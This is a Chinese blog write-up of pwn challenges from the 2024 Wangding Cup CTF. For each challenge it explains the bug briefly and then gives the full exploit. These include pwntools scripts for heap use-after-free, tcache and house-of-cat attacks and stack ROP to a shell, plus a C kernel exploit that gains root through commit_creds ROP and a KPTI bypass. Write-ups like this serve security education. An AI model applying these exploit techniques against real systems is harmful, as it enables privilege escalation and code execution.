2024 网鼎杯 Pwn 部分 Writrup

又到了我最喜欢的一年一度的网安奥运会、雇佣兵大战、抓PY时间

叠个甲:打完之后拿的复现题,未加入任何队伍,所有题目均没有测试过远程

青龙组

Pwn04

首先需要输入用户名和密码,显然不存在什么\x00绕过,在长度未知的情况下直接爆破显然不是很合理

但是注意到一点,假设用户名为abcd,当我们输入ab\x00时,内容检查会正常返回0,因此最终返回的会是username length错误,因此这里可以采用侧信道爆破

通过输入(已知的部分 + ? + \x00)的方式,我们将 ? 遍历所有的字符,当遍历到正确的字符时,程序会返回username length error,否则是username error

密码部分也是同理

之后就是一个简单的2.27 UAF菜单堆,开启了sandbox

注意到程序会对用户输入加密后再存入chunk,加密方式直接问GPT,得知是rc4加密,密钥直接就是明文字符串s4cur1ty_p4ssw0rd,那么后面就很简单了,free_hook配setcontext一把梭

在setcontext布置伪造的stack的时候,想要直接把fake_stack存在chunk中有些困难,一定数量的\x00在rc4加密后会产生\x0a,不过free功能会把chunk中的内容解密了之后再free掉chunk,所以直接存fake_stack明文然后将这个chunk free掉就ok了

from pwn import*
from Crypto.Cipher import ARC4
from Crypto.Random import get_random_bytes
r=process('./pwn')
context.log_level='debug'

username=""
passwd=""

def get_username():
	global username, passwd
	
	while True:
		for i in range(1,256):
			if (i==0xA): continue
			r.recvuntil("Input your username:\n")
			r.sendline(username+chr(i)+"\x00")
			
			result=r.recvline()
			if (result=="Invalid username length!\n"):
				username+=chr(i)
				break
			elif (result=="Username correct!\n"):
				r.sendline()
				username+=chr(i)
				return 

get_username()

def get_passwd():
	global username, passwd
	
	while True:
		for i in range(1,256):
			if (i==0xA): continue
			r.recvuntil("Input your username:\n")
			r.sendline(username)
			r.recvuntil("Input your password:\n")
			r.sendline(passwd+chr(i)+"\x00")
			
			result=r.recvline()
			if (result=="Invalid password length!\n"):
				passwd+=chr(i)
				break
			elif (result=="Password correct!\n"):
				passwd+=chr(i)
				return
	
get_passwd()

def new(idx,size,content):
	r.recvuntil("> \n")
	r.sendline("1")
	r.recvline()
	r.sendline(str(idx))
	r.recvline()
	r.sendline(str(size))
	r.recvline()
	r.send(content)

def show(idx):
	r.recvuntil("> \n")
	r.sendline("2")
	r.recvline()
	r.sendline(str(idx))

def delete(idx):
	r.recvuntil("> \n")
	r.sendline("3")
	r.recvline()
	r.sendline(str(idx))

def rc4_enc(decrypted_text):
	key = b's4cur1ty_p4ssw0rd'
	cipher = ARC4.new(key)
	return cipher.encrypt(decrypted_text)
	
def rc4_dec(ciphertext):
	key = b's4cur1ty_p4ssw0rd'
	cipher = ARC4.new(key)
	return cipher.decrypt(ciphertext)
	
for i in range(10): new(i,0x100,"\n")

for i in range(8): delete(i)

show(6)
r.recvuntil("[key,value] = [6,")
heap_base=u64(rc4_enc(r.recvuntil("Encrypt and save value...",drop=True))[:8])-0x1bc0
success("heap_base: "+hex(heap_base))

show(7)
r.recvuntil("[key,value] = [7,")
libc_base=u64(rc4_enc(r.recvuntil("Encrypt and save value...",drop=True))[:8])-0x3ebca0
success("libc_base: "+hex(libc_base))

new(0,0x110,"\n")
delete(0)
delete(0)
new(1,0x110,rc4_dec(p64(libc_base+0x3ed8e8))+"\n")

new(2,0x110,"\n")

pop_rdi=libc_base+0x2164f
pop_rsi=libc_base+0x23a6a
pop_rdx=libc_base+0x1b96

payload=""
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap_base+0x2450)
payload+=p64(pop_rdi+1)

fake_stack="\x00"*0x10
fake_stack+=p64(pop_rdi)+p64(heap_base+0x24c8)+p64(pop_rsi)+p64(0)+p64(libc_base+0x10fbf0)
fake_stack+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+p64(0x40)+p64(libc_base+0x110020)
fake_stack+=p64(pop_rdi)+p64(1)+p64(libc_base+0x1100f0)
fake_stack+="flag"

new(4,0x200,payload+"\n")
new(5,0x200,fake_stack+"\n")

delete(5)

new(3,0x110,rc4_dec(p64(libc_base+0x52085))+"\n")

#gdb.attach(r)

delete(4)

r.interactive()

白虎组

Pwn01

edit功能任意地址大数字写,改大mp_.tcache_bins,让tcache的bins数组中的指针落到后面的chunk中,达到任意地址分配。

from pwn import*
r=process('./pwn')
context.log_level='debug'

def new(size,content):
	r.recvuntil("Input your choice\n")
	r.sendline("1")
	r.recvline()
	r.sendline(str(size))
	r.recvline()
	r.send(content)

def delete(idx):
	r.recvuntil("Input your choice\n")
	r.sendline("2")
	r.recvline()
	r.sendline(str(idx))

def edit(addr):
	r.recvuntil("Input your choice\n")
	r.sendline("3")
	r.recvline()
	r.recvline()
	r.send(p64(addr))

def show(idx):
	r.recvuntil("Input your choice\n")
	r.sendline("4")
	r.recvline()
	r.sendline(str(idx))


new(0x418,"\n")
new(0x438,"\n")
new(0x118,"/bin/sh")

delete(0)
new(0x418,"\xe0")

show(3)

libc_base=u64(r.recvuntil("\n",drop=True)+p16(0))-0x1ecbe0
success("libc_base: "+hex(libc_base))

edit(libc_base+0x1ec2d0)

delete(1)

libc=ELF("./libc-2.31.so")

delete(3)

new(0x418,p64(libc_base+libc.sym["__free_hook"]))

new(0x438,p64(libc_base+libc.sym["system"]))

delete(2)

#gdb.attach(r)

r.interactive()

Pwn02

这题比赛中居然是个0解

提供的pMalloc功能功能存在缺陷,在分配size为0xffffffffffffdc的chunk时会出现逻辑错误,没有从topchunk中分配出实际的chunk,但是仍然会返回一个正常的chunk指针,最终导致分配了一个size为负数的chunk,产生堆越界写错误

提供的pFree函数中,fastbin功能存在原生缺陷,将chunk添加进fastbin时使用了glibc>2.35的fd异或指针保护,但是使用pMalloc时存在一定的逻辑问题,这会导致fastbin无法自然产生链表,也就是无法正常free多个fastbin

此外,edit功能的size检测部分也存在问题,本应是& 0x80000000检测加密flag位少了个0,导致无法正常edit一个加密的chunk,反而是影响了漏洞的利用流程。

特别要注意到,越界写的堆size由于为负数,其& 0x80000000无法为0,因此需要提前泄漏SecretTable,由于加密方式采用异或加密,可以很容易的从密文和密钥反推出SecretTable,具体反推代码可以让GPT生成。

最终通过堆越界写,修改fastbin中的fd,最终导致任意地址分配,注意存在一定的check,类似fastbin时的size检测以及地址检测,必须要分配在大于heap_base的地方,因此只能分配在libc段上,最后选择_IO_list_all打house of cat

from pwn import*
r=process('./safenote')
context.log_level='debug'

libc=ELF("./libc-2.31.so")

def new(idx,size):
	r.recvuntil(">> ")
	r.sendline("1")
	r.recvuntil(": ")
	r.sendline(str(idx))
	r.recvuntil(": ")
	r.sendline(str(size))
	r.recvuntil(": ")
	r.sendline("0")

def new_enc(idx,size):
	r.recvuntil(">> ")
	r.sendline("1")
	r.recvuntil(": ")
	r.sendline(str(idx))
	r.recvuntil(": ")
	r.sendline(str(size))
	r.recvuntil(": ")
	r.sendline("1")

def edit(idx,size,content):
	r.recvuntil(">> ")
	r.sendline("2")
	r.recvuntil(": ")
	r.sendline(str(idx))
	r.recvuntil(": ")
	r.sendline(str(size))
	r.recvuntil(": ")
	r.send(str(content))

def edit_enc(idx,size,content,key,salt):
	r.recvuntil(">> ")
	r.sendline("2")
	r.recvuntil(": ")
	r.sendline(str(idx))
	r.recvuntil(": ")
	r.sendline(str(size))
	r.recvuntil(": ")
	r.send(str(content))
	r.recvuntil(": ")
	r.send(key)
	r.recvuntil(": ")
	r.sendline(str(salt))

def show(idx):
	r.recvuntil(">> ")
	r.sendline("3")
	r.recvuntil(": ")
	r.sendline(str(idx))

def show_enc(idx,key,salt):
	r.recvuntil(">> ")
	r.sendline("3")
	r.recvuntil(": ")
	r.sendline(str(idx))
	r.recvuntil(": ")
	r.send(key)
	r.recvuntil(": ")
	r.sendline(str(salt))

def delete(idx):
	r.recvuntil(">> ")
	r.sendline("4")
	r.recvuntil(": ")
	r.sendline(str(idx))

r.recvuntil(": ")
r.send("aaaa\n")

new(0,0x208)
new(1,0x18)
delete(0)
new(0,0x208)
show(0)

libc_base=u64(r.recv(6)+p16(0))-0x1f70e8
success("libc_base: "+hex(libc_base))

new_enc(2,0x118)
new(3,0xffffffffffffdc)
new(4,0x88)
new(5,0x68)

show_enc(2,"\x00\n",0)

cipher=r.recv(0x100)

secret_table=""
for i in range(0x100):
	cipher_value = ord(cipher[i])
	
	guessed_secret = ~(cipher_value ^ i) + 1
	secret_table += chr(guessed_secret & 0xFF)

def dec(plain):
	global secret_table
	
	cipher=""
	for i in range(len(plain)):
		cipher_value = ord(plain[i])
		secret_value = ord(secret_table[i & 0xFF])
		
		new_value = i ^ (cipher_value - secret_value) & 0xFF
		cipher += chr(new_value & 0xFF)
	
	return cipher

delete(5)
new(5,0x68)

show(5)
heap_base=u64(r.recv(8))<<12
success("heap_base: "+hex(heap_base))

delete(5)
edit_enc(3,0x88,dec("a"*0x78+p64(0x71)+p64((libc_base+0x1ed5a0-0x23)^(heap_base>>12))),"\x00\n",0)
new(5,0x68)

new(6,0x68)

edit(6,0x1b,"a"*0x13+p64(heap_base+0x2b0))

fake_wide_struct=""
fake_wide_struct=fake_wide_struct.ljust(0x18,"\x00")
fake_wide_struct+=p64(1)
fake_wide_struct=fake_wide_struct.ljust(0x20,"\x00")
fake_wide_struct+=p64(2)
fake_wide_struct=fake_wide_struct.ljust(0x38,"\x00")
fake_wide_struct+=p64(libc_base+libc.sym["system"])
fake_wide_struct=fake_wide_struct.ljust(0xe0,"\x00")
fake_wide_struct+=p64(heap_base+0x3b0+0x20)

fake_IO_struct="/bin/sh"
fake_IO_struct=fake_IO_struct.ljust(0x28,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xa0,"\x00")
fake_IO_struct+=p64(heap_base+0x3b0)
fake_IO_struct=fake_IO_struct.ljust(0xc0,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xd8,"\x00")
fake_IO_struct+=p64(libc_base+0x1e8f90)
fake_IO_struct=fake_IO_struct.ljust(0x100,"\x00")
fake_IO_struct+=fake_wide_struct

edit(0,len(fake_IO_struct),fake_IO_struct)

#gdb.attach(r,"b _IO_switch_to_wget_mode")

r.recvuntil(">> ")
r.sendline("5")

r.interactive()

玄武组

Pwn02

检测1 .text:00000000004019B0 cmp dword ptr [rbp-28h], 1

检测2 .text:000000000040190C cmp dword ptr [rbp-11Ch], 11111111h

过了这两个check就是简单的栈溢出了,canary直接提供了

from pwn import*
r=process('./pwn')
context.log_level='debug'

r.recvuntil(": ")
canary=int(r.recvline(),16)
r.recvline()

r.send("a"*0x28+p32(1)+"a"*0x10)

r.recvline()
r.send("0")

r.recvline()
r.send("b"*0x70)

r.recvline()
#gdb.attach(r,"b *0x40213f")

pop_rdi=0x40213f
pop_rsi=0x40a1ae
pop_rdx_rbx=0x485feb
pop_rax=0x450277
syscall=0x41AC26

payload=""
payload+="a"*0x64+p32(0x11111111)+"a"*0x90+p64(canary)+"a"*0x8+p64(canary)+"a"*0x8
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x4c5000)+p64(pop_rdx_rbx)+p64(0x8)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi)+p64(0x4c5000)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)

r.send(payload)

sleep(0.5)

r.send("/bin/sh\x00")

r.interactive()

Pwn03

一个任意大小的uaf,可读写,内核版本4.9.337,nosmap

很复古的一题,那就按照复古的方法来做

使用kmalloc-32的seq_operations来泄漏kernel_text_base,开头的start指针可以劫持执行流

kernel调用start函数指针时,会将函数地址赋值给rax,然后调用类似call rax的方式来执行

既然未开启smap保护,那么可以通过xchg esp, eax的方式,清空rsp的高位,让rsp落入用户态区域

在用户态对应的低地址处布置ROP就可以完成提权,kpti保护用signal绕过

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <sched.h>
#include <pthread.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <linux/sched.h>
#include <linux/keyctl.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <sys/syscall.h>

#define	PAGE_SIZE	0x1000

int dev_fd;

uint64_t kernel_text_base;

uint64_t cs, ss, rflag, rsp;

void save_state()
{
	asm(
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"movq %%rsp, %3;"
		"pushfq;"
		"pop %2;"
		: "=r"(cs),"=r"(ss),"=r"(rflag),"=r"(rsp)
		:
		: "memory"
	);
}

int seq_open()
{
	int seq;
	if ((seq=open("/proc/self/stat", O_RDONLY))==-1)
	{
		puts("[X] Seq Open Error");
		exit(0);
	}
	return seq;
}

void new(uint64_t size)
{
	ioctl(dev_fd, 0, size);
}

void delete()
{
	ioctl(dev_fd, 1, NULL);
}

void edit(void *ptr, ssize_t size)
{
	write(dev_fd, ptr, size);
}

void show(void *ptr, ssize_t size)
{
	read(dev_fd, ptr, size);
}

__attribute__((naked))
void getshell()
{
	system("/bin/sh");
}

int main()
{
	signal(SIGSEGV, getshell);
	
	save_state();
	
	dev_fd = open("/dev/easy",O_RDWR);
	if (dev_fd < 0)
		perror("[X] Error Open");
	
	new(0x20);
	
	delete(0x20);
	
	int seq_fd = seq_open();
	
	show(&kernel_text_base, sizeof(uint64_t));
	kernel_text_base -= 0x25bcc0;
	
	uint64_t xchg_esp_eax = kernel_text_base + 0x8d;
	uint64_t prepare_kernel_cred = kernel_text_base + 0xac450;
	uint64_t commit_creds = kernel_text_base + 0xac050;
	uint64_t init_task = kernel_text_base + 0xe11500;
	uint64_t pop_rdi = kernel_text_base + 0x48955;
	uint64_t mov_rdi_rax_pop_rbp = kernel_text_base + 0x42cd7d;
	uint64_t cmp_rdi_3 = kernel_text_base + 0x1386ef;
	uint64_t swapgs_pop_rbp = kernel_text_base + 0x65354;
	uint64_t iretq = kernel_text_base + 0x18453f;
	
	printf("[+] kernel_text_base = 0x%llx\n", kernel_text_base);
	
	edit(&xchg_esp_eax, 0x8);
	
	void *page = mmap((void *)((xchg_esp_eax - PAGE_SIZE) & 0xFFFFF000), PAGE_SIZE * 0x2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	
	memset(page, 0, PAGE_SIZE * 0x2);
	
	uint64_t *fake_stack = page + (xchg_esp_eax & 0xFF) + PAGE_SIZE;
	
	int cnt = 0;
	
	fake_stack[cnt++] = pop_rdi;
	fake_stack[cnt++] = init_task;
	fake_stack[cnt++] = prepare_kernel_cred;
	fake_stack[cnt++] = pop_rdi;
	fake_stack[cnt++] = 3;
	fake_stack[cnt++] = cmp_rdi_3;
	fake_stack[cnt++] = mov_rdi_rax_pop_rbp;
	fake_stack[cnt++] = 0;
	fake_stack[cnt++] = commit_creds;
	fake_stack[cnt++] = swapgs_pop_rbp;
	fake_stack[cnt++] = 0;
	fake_stack[cnt++] = iretq;
	fake_stack[cnt++] = (uint64_t)getshell;
	fake_stack[cnt++] = cs;
	fake_stack[cnt++] = rflag;
	fake_stack[cnt++] = rsp;
	fake_stack[cnt++] = ss;
	
	read(seq_fd, NULL, 0);
}

评论

  1. 匿名
    1 月前
    2024-11-02 9:18:49

    大师傅你好,请问有pwn01或pwn03的wp吗

    • 博主
      匿名
      4 周前
      2024-11-04 10:00:41

      后续会更新,比赛当天防止wp泄漏只放了0解的

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇